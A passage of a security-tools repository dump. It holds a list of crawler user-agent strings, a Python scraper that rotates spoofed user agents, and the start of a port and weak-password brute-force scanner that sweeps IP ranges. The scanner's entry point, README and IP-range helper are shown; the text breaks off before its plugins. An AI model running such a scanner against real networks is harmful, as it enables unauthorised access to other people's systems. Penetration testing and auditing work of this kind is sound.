(211.14.8.2xx)\",\"ua\":\"Y!J-BSC\\/1.0 (http:\\/\\/help.yahoo.co.jp\\/help\\/jp\\/search\\/indexing\\/indexing-15.html)\"},{\"description\":\"Yahoo Search Japan robot (203.216.197.xxx)\",\"ua\":\"Y!J-SRD\\/1.0\"},{\"description\":\"Yahoo Search Japan robot (211.14.8.2xx)\",\"ua\":\"Y!J\\/1.0 (http:\\/\\/help.yahoo.co.jp\\/help\\/jp\\/search\\/indexing\\/indexing-15.html)\"},{\"description\":\"Yahoo picture service for mobiles\",\"ua\":\"Y!OASIS\\/TEST no-ad Mozilla\\/4.08 [en] (X11; I; FreeBSD 2.2.8-STABLE i386)\"},{\"description\":\"Y!TunnelPro - Yahoo! Messenger companion user agent\",\"ua\":\"Y!TunnelPro\"},{\"description\":\"Yacy distributed P2P web search engine robot\",\"ua\":\"yacy (www.yacy.net; v20040602; i386 Linux 2.4.26-gentoo-r13; java 1.4.2_06; MET\\/en)\"},{\"description\":\"Yacy distributed P2P web search engine robot\",\"ua\":\"yacybot (x86 Windows XP 5.1; java 1.5.0_06; Europe\\/de) yacy.net\"},{\"description\":\"(Yahoo) Pipes interactive data aggregator robot\",\"ua\":\"Yahoo Pipes 1.0\"},{\"description\":\"Yahoo Mindset: Intent-driven Search (66.228.182.1xx)\",\"ua\":\"Yahoo! Mindset\"},{\"description\":\"Yahoo blog indexing robot (209.191.83.1xx)\",\"ua\":\"Yahoo-Blogs\\/v3.9 (compatible; Mozilla 4.0; MSIE 5.5; http:\\/\\/help.yahoo.com\\/help\\/us\\/ysearch\\/crawling\\/crawling-02.html )\"},{\"description\":\"Yahoo multimedia crawler (206.190.43.xx)\",\"ua\":\"Yahoo-MMAudVid\\/1.0 (mms dash mmaudvidcrawler dash support at yahoo dash inc dot com)\"},{\"description\":\"Yahoo multimedia crawler\",\"ua\":\"Yahoo-MMAudVid\\/2.0(mms dash mm aud vid crawler dash support at yahoo dash inc.com ;Mozilla 4.0 compatible; MSIE 7.0;Windows NT 5.0; .NET CLR 2.0)\"},{\"description\":\"Yahoo multimedia crawler via Fastsearch.net (66.77.73.xx)\",\"ua\":\"Yahoo-MMCrawler\\/3.x (mm dash crawler at trd dot overture dot com)\"},{\"description\":\"Yahoo Search robot\",\"ua\":\"Yahoo-Test\\/4.0\"},{\"description\":\"Yahoo crawler via Overture (66.77.73.3x)\",\"ua\":\"Yahoo-VerticalCrawler-FormerWebCrawler\\/3.9 crawler at trd dot overture dot com; http:\\/\\/www.alltheweb.com\\/help\\/webmaster\\/crawler\"},{\"description\":\"Yahoo Publisher Network RSS crawler\",\"ua\":\"YahooFeedSeeker\\/2.0 (compatible; Mozilla 4.0; MSIE 5.5; http:\\/\\/publisher.yahoo.com\\/rssguide)\"},{\"description\":\"Yahoo Product Search crawler ( 68.142.195..x)\",\"ua\":\"YahooSeeker-Testing\\/v3.9 (compatible; Mozilla 4.0; MSIE 5.5; http:\\/\\/search.yahoo.com\\/)\"},{\"description\":\"Yahoo Product Search crawler ( 66.196.93.x)\",\"ua\":\"YahooSeeker\\/1.0 (compatible; Mozilla 4.0; MSIE 5.5; http:\\/\\/help.yahoo.com\\/help\\/us\\/shop\\/merchant\\/)\"},{\"description\":\"Yahoo Product Search crawler ( 66.196.93.x)\",\"ua\":\"YahooSeeker\\/1.0 (compatible; Mozilla 4.0; MSIE 5.5; http:\\/\\/search.yahoo.com\\/yahooseeker.html)\"},{\"description\":\"Yahoo Product Search crawler ( 66.196.93.x)\",\"ua\":\"YahooSeeker\\/1.1 (compatible; Mozilla 4.0; MSIE 5.5; http:\\/\\/help.yahoo.com\\/help\\/us\\/shop\\/merchant\\/)\"},{\"description\":\"Yahoo Product Search crawler ( 68.142.195..x)\",\"ua\":\"YahooSeeker\\/bsv3.9 (compatible; Mozilla 4.0; MSIE 5.5; http:\\/\\/help.yahoo.com\\/help\\/us\\/ysearch\\/crawling\\/crawling-02.html )\"},{\"description\":\"Yahoo robot\",\"ua\":\"YahooSeeker\\/CafeKelsa-dev (compatible; Konqueror\\/3.2; FreeBSD ;cafekelsa-dev-webmaster@yahoo-inc.com )\"},{\"description\":\"Yandex Search Russia link checking (213.180.206.2xx)\",\"ua\":\"Yandex\\/1.01.001 (compatible; Win16; I)\"},{\"description\":\"Yanga search robot by Gigabase (Russian Federation)\",\"ua\":\"Yanga WorldSearch Bot v1.1\\/beta (http:\\/\\/www.yanga.co.uk\\/)\"},{\"description\":\"Yarienavoir search (Belgium) robot\",\"ua\":\"yarienavoir.net\\/0.2\"},{\"description\":\"1noon.com search Korea robot (222.231.21.xxx)\",\"ua\":\"Yeti\"},{\"description\":\"1noon.com search Korea robot (222.231.21.xxx)\",\"ua\":\"Yeti\\/0.01 (nhn\\/1noon, yetibot@naver.com, check robots.txt daily and follows it)\"},{\"description\":\"Naver search (Korea) robot\",\"ua\":\"Yeti\\/1.0 (NHN Corp.; http:\\/\\/help.naver.com\\/robots\\/)\"},{\"description\":\"yggdrasil spider for GoPubMed biorelated search engine\",\"ua\":\"yggdrasil\\/Nutch-0.9 (yggdrasil biorelated search engine; www dot biotec dot tu minus dresden do de slash schroeder; heiko dot dietze at biotec dot tu minus dresden dot de)\"},{\"description\":\"Yodao search (China)\",\"ua\":\"YodaoBot\\/1.0 (http:\\/\\/www.yodao.com\\/help\\/webmaster\\/spider\\/; )\"},{\"description\":\"Yoono - community based search (193.110.140.xxx \\/ 194.0.179.[x]xx)\",\"ua\":\"yoofind\\/yoofind-0.1-dev (yoono webcrawler; http:\\/\\/www.yoono.com ; MyEmail)\"},{\"description\":\"Yoogli search (under development) agent\",\"ua\":\"yoogliFetchAgent\\/0.1\"},{\"description\":\"Yoono - community based search (193.110.140.xxx \\/ 194.0.179.[x]xx)\",\"ua\":\"yoono\\/1.0 web-crawler\\/1.0\"},{\"description\":\"YottaCars bot - YottaCar car search engine ( 64.62.175.xxx)\",\"ua\":\"YottaCars_Bot\\/4.12 (+http:\\/\\/www.yottacars.com) Car Search Engine \"},{\"description\":\"YottaShopping bot - YottaShopping search engine ( 64.62.175.xxx) \",\"ua\":\"YottaShopping_Bot\\/4.12 (+http:\\/\\/www.yottashopping.com) Shopping Search Engine\"},{\"description\":\"Y!TunnelPro - Yahoo! Messenger companion user agent\",\"ua\":\"YTunnelPro\"},{\"description\":\"Z-Add online link checker\",\"ua\":\"Z-Add Link Checker (http:\\/\\/w3.z-add.co.uk\\/linkcheck\\/)\"},{\"description\":\"Zao crawler for Kototoi Project\",\"ua\":\"Zao-Crawler\"},{\"description\":\"Zao crawler for Kototoi Project\",\"ua\":\"Zao-Crawler 0.2b\"},{\"description\":\"Zao crawler for Kototoi Project\",\"ua\":\"Zao\\/0.1 (http:\\/\\/www.kototoi.org\\/zao\\/)\"},{\"description\":\"Zeus Internet Marketing Robot based on Webster Pro component\",\"ua\":\"ZBot\\/1.00 (icaulfield@zeus.com)\"},{\"description\":\"Zearchit German search \\/ directory\",\"ua\":\"Zearchit\"},{\"description\":\"Ze.bz Moteur de Recherche robot\",\"ua\":\"ZeBot_lseek.net (bot@ze.bz)\"},{\"description\":\"Ze.bz Moteur de Recherche robot\",\"ua\":\"ZeBot_www.ze.bz (ze.bz@hotmail.com)\"},{\"description\":\"ZedZo Search (beta) robot\",\"ua\":\"zedzo.digest\\/0.1 (http:\\/\\/www.zedzo.com\\/)\"},{\"description\":\"Zend PHP frameworks Zend_Http_Client component\",\"ua\":\"Zend_Http_Client\"},{\"description\":\"Powerset Natural Language Search crawler (under development) using Heritrix via Amazon Web Services\",\"ua\":\"zermelo Mozilla\\/5.0 compatible; heritrix\\/1.12.1 (+http:\\/\\/www.powerset.com) [email:crawl@powerset.com,email:paul@page-store.com]\"},{\"description\":\"Zerx search robot ?\",\"ua\":\"zerxbot\\/Version 0.6 libwww-perl\\/5.79\"},{\"description\":\"Zeus Internet Marketing Robot (based on Webster Pro)\",\"ua\":\"Zeus ThemeSite Viewer Webster Pro V2.9 Win32\"},{\"description\":\"Zeus Internet Marketing Robot (based on Webster Pro)\",\"ua\":\"Zeus xxxxx Webster Pro V2.9 Win32\"},{\"description\":\"Zeusbot robot for building the Ulsysseek.com index\",\"ua\":\"Zeusbot\\/0.07 (Ulysseek's web-crawling robot; http:\\/\\/www.zeusbot.com; agent@zeusbot.com)\"},{\"description\":\"Unknown agent (server- or link checking ?) from 198.173.158.xx\",\"ua\":\"Ziggy -- The Clown From Hell!!\"},{\"description\":\"Zipp.net web search robot\",\"ua\":\"ZipppBot\\/0.xx (ZipppBot; http:\\/\\/www.zippp.net; webmaster@zippp.net)\"},{\"description\":\"Zipp.net web search robot\",\"ua\":\"ZIPPPCVS\\/0.xx (ZipppBot\\/.xx;http:\\/\\/www.zippp.net; webmaster@zippp.net)\"},{\"description\":\"Zippyfinder robot\",\"ua\":\"Zippy v2.0 - Zippyfinder.com\"},{\"description\":\"Microsoft Zoo Tycoon 2 game client\",\"ua\":\"Zoo Tycoon 2 Client -- http:\\/\\/www.zootycoon.com\"},{\"description\":\"Zoom Search Engine software spider\",\"ua\":\"ZoomSpider - wrensoft.com\"},{\"description\":\" collecting for machine learning; http:\\/\\/zscho.de\\/ )\",\"ua\":\"Zscho.de Crawler\\/Nutch-1.0-Zscho.de-semantic_patch (Zscho.de Crawler\"},{\"description\":\"zspider robot for a new search engine\",\"ua\":\"zspider\\/0.9-dev http:\\/\\/feedback.redkolibri.com\\/\"},{\"description\":\"Wisenut robot\",\"ua\":\"ZyBorg\\/1.0 (ZyBorg@WISEnut.com; http:\\/\\/www.WISEnut.com)\"},{\"description\":\"FM Scene soccer fan pages plugin\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko\\/20100401 Firefox\\/3.6.3 (FM Scene 4.6.1)\"},{\"description\":\"PrevX security plugin\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko\\/20100401 Firefox\\/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5)\"}]"
  },
  {
    "path": "User Agents/requirements.txt",
    "content": "ujson==1.35\nrequests==2.18.4\nbeautifulsoup4==4.6.0\n"
  },
  {
    "path": "User Agents/user agent example.txt",
    "content": "1. Apple iOS (iPhone) - Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile Safari/600.1.4 \n\n2. Google Android (Nexus 5) - Mozilla/5.0 (Linux; U; Android 4.4.4; Nexus 5 Build/KTU84P) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 \n\n3. Microsoft Windows Phone - Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0) \n\n4. Samsung Tizen OS - Mozilla/5.0 (Linux; U; Tizen 2.0; en-us) AppleWebKit/537.1 (KHTML, like Gecko) Mobile TizenBrowser/2.0 \n\n5. Nokia Symbian - Nokia5250/10.0.011 (SymbianOS/9.4; U; Series60/5.0 Mozilla/5.0; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Safari/525 3gpp-gba \n\n6. Mozilla Firefox OS - Mozilla/5.0 (Android 4.4; Mobile; rv:18.0) Gecko/18.0 Firefox/18.0 \n\n7. Chrome Running on MS Windows - Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 \n\n8. Chrome Running on Linux - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 \n\n9. Chrome Running on Mac OS - Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 \n\n10. Chrome Running on Chrome OS - Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 \n\n11. Chrome Running on FreeBSD OS - Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 \n\n12. Opera Running on Windows - Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14 \n\n13. Opera Running on Mac OS - Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52 \n\n14. Opera Running on Linux - Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16 \n\n15. Opera Running on FreeBSD OS - Mozilla/5.0 (X11; U; FreeBSD i386; zh-tw; rv:31.0) Gecko/20100101 Firefox/31.0 Opera/13.0 \n\n16. Firefox Running on Windows - Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 \n\n17. Firefox Running on Mac OS - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0 \n\n18. Firefox Running on Linux - Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0 \n\n19. Firefox Running on Chrome-OS - Mozilla/5.0 (X11; U; CrOS i686 9.10.0; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Gecko/20100101 Firefox/29.0 \n\n20. Firefox Running on FreeBSD OS - Mozilla/5.0 (X11; FreeBSD amd64; rv:40.0) Gecko/20100101 Firefox/40.0 \n\n21. Firefox Running on IBM Warp OS/2 - Mozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 \n\n22. Safari Running on Windows - Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 \n\n23. Safari Running on Mac OS - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A \n\n24. Safari Running on Linux - Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.20 \n\n25. Internet Explorer Running on Windows - Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko \n\n26. MS Edge Running on Windows - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
  },
  {
    "path": "User Agents/useragents.py",
    "content": "__author__ = 'John Berlin (n0tan3rd@gmail.com)'\n__version__ = '1.0.0'\n__copyright__ = 'Copyright (c) 2018-Present John Berlin'\n__license__ = 'MIT'\n\nimport time\nimport csv\nimport re\nfrom os import path, makedirs\nfrom glob import glob\nimport argparse\nimport requests\nfrom bs4 import BeautifulSoup\nimport ujson as json\n\nRAW_LISTS = 'rawUALists'\n\"\"\"str: Default raw user agent dump path\"\"\"\n\nCSV_DUMP = 'csv'\n\"\"\"str: Default csv user agent list dump path\"\"\"\n\nJSON_DUMP = 'json'\n\"\"\"str: Default json user agent list dump path\"\"\"\n\nWIMB_ORDER_RE = re.compile(r'page(\\d+)\\.html')\n\"\"\"re: regular expression helper for sorting paginated ua html files\"\"\"\n\nUA_LIST = [\n    'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.01',\n    'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'\n    '54.0.2840.71 Safari/537.36',\n    'Mozilla/5.0 (Linux; Ubuntu 14.04) AppleWebKit/537.36 Chromium/35.0.1870.2 Safa'\n    'ri/537.36',\n    'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.'\n    '0.2228.0 Safari/537.36',\n    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko'\n    ') Chrome/42.0.2311.135 '\n    'Safari/537.36 Edge/12.246',\n    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, '\n    'like Gecko) Version/9.0.2 Safari/601.3.9',\n    'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) '\n    'Chrome/47.0.2526.111 Safari/537.36',\n    'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0',\n]\n\"\"\"list[str]: user agent strings used when fetching the lists\"\"\"\n\n\ndef get_xml_lists(save_path):\n    \"\"\"\n    Fetches the xml user agent lists and saves them at save_path\n    :param str save_path: Path to where to dump the raw user agent xml lists\n    \"\"\"\n    with open(path.join(save_path, 'ua_org_allagents.xml'), 'w') as out:\n        request = requests.get('http://www.user-agents.org/allagents.xml')\n        if request.ok:\n            out.write(request.text)\n        else:\n            print('Could not get http://www.user-agents.org/allagents.xml')\n\n    with open(path.join(save_path, 'techpatterns_com_useragentswitcher.xml'), 'w') as out:\n        request = requests.get(\n            'https://techpatterns.com/downloads/firefox/useragentswitcher.xml')\n        if request.ok:\n            out.write(request.text)\n        else:\n            print(\n                'Could not get https://techpatterns.com/downloads/firefox/useragentswitcher.xml')\n\n\ndef gen_from_xml(xml_dir, csv_dir=CSV_DUMP, json_dir=JSON_DUMP):\n    \"\"\"\n    Generates csv and json versions of techpatterns_com_useragentswitcher.xml\n    and ua_org_allagents.xml\n    :param str xml_dir: Path to the directory containing the two user agent lists in xml\n    :param str csv_dir: Path to directory to dump the csv files in. Defaults to <cwd>/csv\n    :param str json_dir: Path to directory to dump the json files in. Defaults to <cwd>/json\n    \"\"\"\n    ua_list = []\n    print('Generating user agent list for techpatterns_com_useragentswitcher.xml')\n    with open(path.join(xml_dir, 'techpatterns_com_useragentswitcher.xml'), 'r') as iin:\n        soup = BeautifulSoup(iin, 'lxml')\n        for search_folder in ['Browsers - Windows', 'Browsers - Mac',\n                              'Browsers - Linux', 'Browsers - Unix',\n                              'Mobile Devices', 'Spiders - Search', 'Miscellaneous']:\n            print(search_folder)\n            for folder in soup.find_all(\n                    'folder', attrs={\"description\": search_folder}):\n                for user_agent in folder.find_all('useragent'):\n                    ua_list.append(\n                        dict(kind=search_folder, description=user_agent['description'],\n                             ua=user_agent['useragent']))\n    with open(path.join(csv_dir, 'techpatterns_com_useragentswitcher.csv'), 'w') as csv_out:\n        csv_writer = csv.DictWriter(\n            csv_out, fieldnames=['kind', 'description', 'ua'])\n        csv_writer.writeheader()\n        csv_writer.writerows(ua_list)\n    with open(path.join(json_dir, 'techpatterns_com_useragentswitcher.json'), 'w') as json_out:\n        json_out.write(json.dumps(ua_list))\n\n    ua_list = []\n    print('Generating user agent list for ua_org_allagents.xml')\n    with open(path.join(xml_dir, 'ua_org_allagents.xml'), 'r') as iin:\n        soup = BeautifulSoup(iin, 'xml')\n        for user_agent in soup.find_all('user-agent'):\n            ua_list.append(dict(description=user_agent.find(\n                'Description').text, ua=user_agent.find('String').text))\n    with open(path.join(csv_dir, 'ua_org_allagents.csv'), 'w') as csv_out:\n        csv_writer = csv.DictWriter(csv_out, fieldnames=['description', 'ua'])\n        csv_writer.writeheader()\n        csv_writer.writerows(ua_list)\n    with open(path.join(json_dir, 'ua_org_allagents.json'), 'w') as json_out:\n        json_out.write(json.dumps(ua_list))\n\n\ndef xml_lists(raw_lists_path, csv_dir=CSV_DUMP, json_dir=JSON_DUMP):\n    \"\"\"\n    Fetches the xml user agent lists and transforms them into csv and json\n    :param str raw_lists_path: Path to directory to dump the raw lists. Defaults to <cwd>/rawUALists\n    :param str csv_dir: Path to directory to dump the csv files in. Defaults to <cwd>/csv\n    :param str json_dir: Path to directory to dump the json files in. Defaults to <cwd>/json\n    \"\"\"\n    get_xml_lists(raw_lists_path)\n    gen_from_xml(raw_lists_path, csv_dir=csv_dir, json_dir=json_dir)\n\n\ndef mine_dev_whatismybrowser(browser, save_path=RAW_LISTS, to_page=30):\n    \"\"\"\n    Retrieves the user agent strings for a browser listed on\n    developers.whatismybrowser.com up to to_pages\n    :param str browser: The browser to get the paginated list of user agent strings for\n    :param str save_path: The path to a directory to dump the. Defaults to <cwd>/rawUALists\n    :param int to_page: How many pages do you want to extract. Defaults to 30\n    \"\"\"\n    browser = browser.lower()\n    base_url = \"https://developers.whatismybrowser.com/useragents/explore/software_name/%s\" \\\n               % browser\n    pag_url = base_url + \"/%d\"\n    save_dir = path.join(save_path, '%sUAHTML' % browser)\n    save_html = path.join(save_dir, 'page%d.html')\n    if not path.exists(save_dir):\n        makedirs(save_dir, exist_ok=True)\n    count = 0\n    with requests.session() as session:\n        for i in range(1, to_page + 1):\n            request = session.get(pag_url % i,\n                                  headers={'User-Agent': UA_LIST[count]}, timeout=5.0)\n            count += 1\n            if count == 8:\n                count = 0\n            if request.ok:\n                print('Got %s user agents on page %d' % (browser, i))\n                with open(save_html % i, 'w') as out:\n                    out.write(request.text)\n            else:\n                print('Could not get %s user agents on page %d' % (browser, i))\n            time.sleep(2)\n\n\ndef wimb_page_order(ua_page):\n    \"\"\"\n    Helper for collect_ua_whatismybrowser that sorts the pages in correct order\n    :param str ua_page: Path to user agent html file\n    :return int: user agent pagination index\n    \"\"\"\n    return int(WIMB_ORDER_RE.match(path.basename(ua_page)).group(1))\n\n\ndef collect_ua_whatismybrowser(\n        browser, raw_dir=RAW_LISTS, csv_dir=CSV_DUMP, json_dir=JSON_DUMP):\n    \"\"\"\n    Parses all pages associated with a browser, generating browser.csv and browser.json\n    :param str browser: The browser to retrieve user agent strings for\n    :param str raw_dir: Path to the directory containing browser html file directory.\n    Defaults to <cwd>/rawUALists\n    :param str csv_dir: Path to directory to dump the csv files in. Defaults to <cwd>/csv\n    :param str json_dir: Path to directory to dump the json files in. Defaults to <cwd>/json\n    \"\"\"\n    ua_list = []\n    for page in sorted(glob(path.join(raw_dir, path.join(\n            '%sUAHTML', '*.html')) % browser), key=wimb_page_order):\n        with open(page, 'r') as iin:\n            soup = BeautifulSoup(iin, 'lxml')\n            for tr in soup.find_all('tr'):\n                ua_tds = tr.select('td.useragent')\n                if ua_tds:\n                    tds = tr.find_all('td')\n                    ua_list.append(\n                        dict(ua=ua_tds[0].text, version=tds[1].text, commonality=tds[-1].text))\n    with open(path.join(csv_dir, '%s.csv' % browser), 'w') as csv_out:\n        csv_writer = csv.DictWriter(\n            csv_out, fieldnames=['ua', 'version', 'commonality'])\n        csv_writer.writeheader()\n        csv_writer.writerows(ua_list)\n    with open(path.join(json_dir, '%s.json' % browser), 'w') as json_out:\n        json_out.write(json.dumps(ua_list))\n\n\ndef whatismybrowser(raw_list_dir, to_page=30,\n                    csv_dir=CSV_DUMP, json_dir=JSON_DUMP):\n    \"\"\"\n    Fetches user agent strings for Chrome, Firefox, Opera, Safari, IE, Android browser and\n    generates csv and json lists of the user agents per browser\n    :param str raw_list_dir:\n    :param int to_page: How many pages do you want to extract. Defaults to 30\n    :param str csv_dir: Path to directory to dump the csv files in. Defaults to <cwd>/csv\n    :param str json_dir: Path to directory to dump the json files in. Defaults to <cwd>/json\n    \"\"\"\n    browser_list = ['chrome', 'firefox', 'opera',\n                    'safari', 'internet-explorer', 'android-browser']\n    for browser in browser_list:\n        print('Fetching user agent strings for %s' % browser)\n        mine_dev_whatismybrowser(\n            browser, save_path=raw_list_dir, to_page=to_page)\n        print('Collecting user agent strings for %s' % browser)\n        collect_ua_whatismybrowser(browser, raw_dir=raw_list_dir,\n                                   csv_dir=csv_dir, json_dir=json_dir)\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(prog='useragents',\n                                     description='Get some user agent string lists')\n    parser.add_argument('-d', '--dump', help='Directory to dump the raw lists. '\n                                             'Defaults to <cwd>/rawUALists',\n                        default=RAW_LISTS, type=str)\n    parser.add_argument('-c', '--csv', help='Directory to dump the csv lists in. '\n                                            'Defaults to <cwd>/csv',\n                        default=CSV_DUMP, type=str)\n    parser.add_argument('-j', '--json', help='Directory to dump the json lists in. '\n                                             'Defaults to <cwd>/json',\n                        default=JSON_DUMP, type=str)\n    parser.add_argument('-p', '--pages',\n                        help='Number of pages that should be retrieved for '\n                             'whatismybrowser user agents. Defaults to 30',\n                        default=30, type=int)\n    fetch_group = parser.add_mutually_exclusive_group()\n    fetch_group.add_argument('-a', '--all',\n                             help='Get both xml and whatismybrowser lists',\n                             action='store_true', default=True)\n    fetch_group.add_argument('-w', '--wimb',\n                             help='Get whatismybrowser lists',\n                             action='store_true')\n    fetch_group.add_argument('-x', '--xml',\n                             help='Get xml lists',\n                             action='store_true')\n    args = parser.parse_args()\n    if not path.exists(args.dump):\n        makedirs(args.dump)\n    if not path.exists(args.csv):\n        makedirs(args.csv, exist_ok=True)\n    if not path.exists(args.json):\n        makedirs(args.json, exist_ok=True)\n    if args.all:\n        xml_lists(args.dump, csv_dir=args.csv, json_dir=args.json)\n        whatismybrowser(args.dump, to_page=args.pages, csv_dir=args.csv, json_dir=args.json)\n    elif args.xml:\n        xml_lists(args.dump, csv_dir=args.csv, json_dir=args.json)\n    elif args.wimb:\n        whatismybrowser(args.dump, to_page=args.pages, csv_dir=args.csv, json_dir=args.json)\n"
  },
  {
    "path": "Weak_Password/Bruteforce/README.md",
    "content": "# bruteforce weak password\n# ports&*weak password scanner.\n\n$ python bruteforce.py -h\n\n\nusage: main.py [-h] [--ip IP] [--threads THREADS] [--P ISPING]\n               [--p USER_PORTS] [--file FILE]\n\n\n\noptional arguments:\n  -h, --help         show this help message and exit\n\n  --ip IP            ip like 192.168.1.0/24 or 192.168.0.0/16\n\n  --threads THREADS  Maximum threads, default 50\n\n  --P ISPING         --P not mean no ping frist,default yes\n\n  --p USER_PORTS     --p scan ports;like 21,80,445 or 22-1000\n\n  --file FILE        get ips or domains for this file\n"
  },
  {
    "path": "Weak_Password/Bruteforce/bruteforce.py",
    "content": "#coding=utf-8\n__author__ = 'unkonwn'\nimport argparse\nfrom comm.printers import printPink,printRed,printGreen\nfrom comm.config import *\nfrom comm.portscan import *\nfrom factorys.pluginFactory import *\n\n\n#实例化config类\nc=config()\n\nif __name__ == '__main__':\n    #接受cmd参数\n    parser = argparse.ArgumentParser(description='ports&*weak password scanner. teams:xdsec.  author: wilson ')\n    parser.add_argument('--ip',action=\"store\",required=False,dest=\"ip\",type=str,help='ip like 192.168.1.0/24 or 192.168.0.0/16')\n    parser.add_argument(\"--threads\",action=\"store\",required=False,dest=\"threads\",type=int,default=50,help='Maximum threads, default 50')\n    parser.add_argument(\"--P\",action=\"store\",required=False,dest=\"isping\",type=str,default='yes',help='--P not mean no ping frist,default yes')\n    parser.add_argument(\"--p\",action=\"store\",required=False,dest=\"user_ports\",type=str,default='',help='--p scan ports;like 21,80,445 or 22-1000')\n    parser.add_argument(\"--file\",action=\"store\",required=False,dest=\"file\",type=str,help='get ips or domains for this file')\n\n    args = parser.parse_args()\n    ip = args.ip\n    filename=args.file\n\n\n    #获取ip列表\n    if ip:\n        ips=c.getips(ip)\n        file=\"result/%s.txt\" %args.ip.replace(\"/\",\"\")\n    elif filename:\n        ips=c.file2list(filename)\n        filename=filename.split(\"/\")[-1]\n        file=\"result/%s.txt\" %filename\n    else:\n        print \"error args\";exit()\n\n    isping=args.isping\n    user_posts=args.user_ports\n    threads=args.threads\n\n    p=portscan(c,user_posts)\n    p.run(isping,threads,ips,file)\n\n    #print p.ipdict,p.pinglist\n    plugins=pluginFactory(c)\n    for pluginname in plugins.pluginList:\n        #print pluginname\n        if pluginname:\n            pluginname.run(p.ipdict,p.pinglist,threads,file)\n\n\n\n"
  },
  {
    "path": "Weak_Password/Bruteforce/comm/__init__.py",
    "content": ""
  },
  {
    "path": "Weak_Password/Bruteforce/comm/config.py",
    "content": "#coding=utf-8\n__author__ = 'wilson'\nfrom IPy import IP\nfrom comm.printers import printPink,printRed,printGreen\n\nclass config(object):\n\t\n\tdef getips(self,ip):\n\t\tiplist=[]\n\t\ttry:\n\t\t\tif \"-\" in ip.split(\".\")[3]:\n\t\t\t\tstartnum=int(ip.split(\".\")[3].split(\"-\")[0])\n\t\t\t\tendnum=int(ip.split(\".\")[3].split(\"-\")[1])\n\t\t\t\tfor i in range(startnum,endnum):\n\t\t\t\t\tiplist.append(\"%s.%s.%s.%s\" %(ip.split(\".\")[0],ip.split(\".\")[1],ip.split(\".\")[2],i))\n\t\t\telse:\n\t\t\t\tips=IP(ip)\n\t\t\t\tfor i in ips:\n\t\t\t\t\tiplist.append(str(i))\n\t\t\t\n\t\t\treturn iplist\n\n\t\texcept:\n\t\t\tprintRed(\"[!] not a valid ip given. you should put ip like 192.168.1.0/24, 192.168.0.0/16,192.168.0.1-200\")\n\t\t\texit()\n\n\n\tdef file2list(self,file):\n\t\tiplist=[]\n\t\ttry:\n\t\t\tfh = open(file)\n\t\t\tfor ip in fh.readlines():\n\t\t\t\tip=ip.strip()\n\t\t\t\tiplist.append(ip)\n\t\t\tfh.close()\n\t\t\treturn iplist\n\t\texcept Exception, e:\n\t\t\tprint e\n\t\t\texit()\n\n\n\tdef write_file(self,file,contents):\n\t    f2 = open(file,'a+')\n\t    f2.write(contents)\n\t    f2.close()"
  },
  {
    "path": "Weak_Password/Bruteforce/comm/portscan.py",
